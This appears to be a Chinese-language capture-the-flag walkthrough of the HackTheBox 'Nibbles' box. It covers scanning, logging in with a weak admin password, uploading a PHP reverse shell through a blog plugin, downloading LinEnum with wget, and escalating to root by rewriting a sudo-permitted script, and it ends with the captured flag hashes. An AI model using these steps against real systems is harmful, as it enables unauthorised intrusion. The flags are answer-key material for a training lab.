10.10.10.75 nmap扫描出22,80端口
访问80端口 同时gobuster一下
gobuster .htb没啥内容,重新爆破一下nibbleblog目录
访问admin.php
使用弱密码admin:nibbles成功了
看一下cve
进去之后点一点
下面版本找到
在plugins里找到my image
上传pentest monkey的reverse shell php
去哪找呢? 一开始探测的时候看到了文件目录,记得那个文件目录吗
点这个重定向的内容进入目录 admin和content都可以点,但是最后是在content里
最后在/nibbleblog/content/private/plugins/my_image找到了这个文件
nc等待连接,点击image.php
python开一个交互式shell
$ python3 -c "import pty;pty.spawn('/bin/bash');"
nibbler@Nibbles:/$ uname -a
uname -a
Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
nibbler@Nibbles:/$ cat /etc/os-release
cat /etc/os-release
NAME="Ubuntu"
VERSION="16.04.3 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.3 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial
进去发现ubuntu16.04 内核4.4,试一试44298
不行,没成功
用一下Linenums看看
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
提醒我sudo -l 有个shell文件
看一下nibbler目录下有个zip文件
zip一下,同样看到了monitor,又臭又长,这是gpt的解释:
这个脚本是一个Linux服务器健康监测脚本,名为Tecmint_monitor.sh。它用于收集和显示关于服务器的一些基本信息,包括:
连接互联网的状态
操作系统类型(如GNU/Linux)
操作系统名称和版本(例如Ubuntu 20.04.2 LTS)
硬件架构(例如x86_64)
内核版本
主机名
内部IP地址
外部IP地址
DNS服务器
登录用户
RAM和SWAP使用情况
磁盘使用情况
系统负载平均值
系统运行时间
该脚本具有以下功能选项:
使用-i参数安装脚本到/usr/bin/monitor,并提示用户已经成功安装。
使用-v参数显示脚本的版本信息。
脚本首先处理命令行参数,然后根据参数执行相应的操作。如果没有提供任何参数,则会执行完整的服务器健康检查并显示结果。最后,删除临时文件并清除所有定义的变量。
echo "cat /root/root.txt" > monitor.sh
sudo -u root ./monitor.sh
这是是一个命令,它的作用是在Unix或类Unix系统中以root用户的身份执行名为 monitor.sh 的shell脚本。
sudo 是超级用户(Super User)做的缩写,它允许普通用户暂时获得root权限来执行需要更高权限的任务。
在 sudo
命令中,-u
参数是用来指定切换到哪个用户身份来执行后续的命令。当与 -u
参数一起使用时,后面的值应该是你要模拟的用户的用户名。
-u root 表示指定要使用的用户为root,也就是系统的超级用户。
./monitor.sh 是指当前目录下的名为 monitor.sh 的shell脚本。
整个命令的意思是:以root用户身份运行当前目录下的 monitor.sh 脚本。这通常是因为 monitor.sh 需要访问或更改一些只有root权限才能操作的系统资源或文件。
通过sudo -u root ./monitor.sh因为sudo规定了不需要密码就可以执行
user:b81929da18fdaf194a7c388ee5430c8b
root:f096489c99f11ae4d59b555b5e3a920b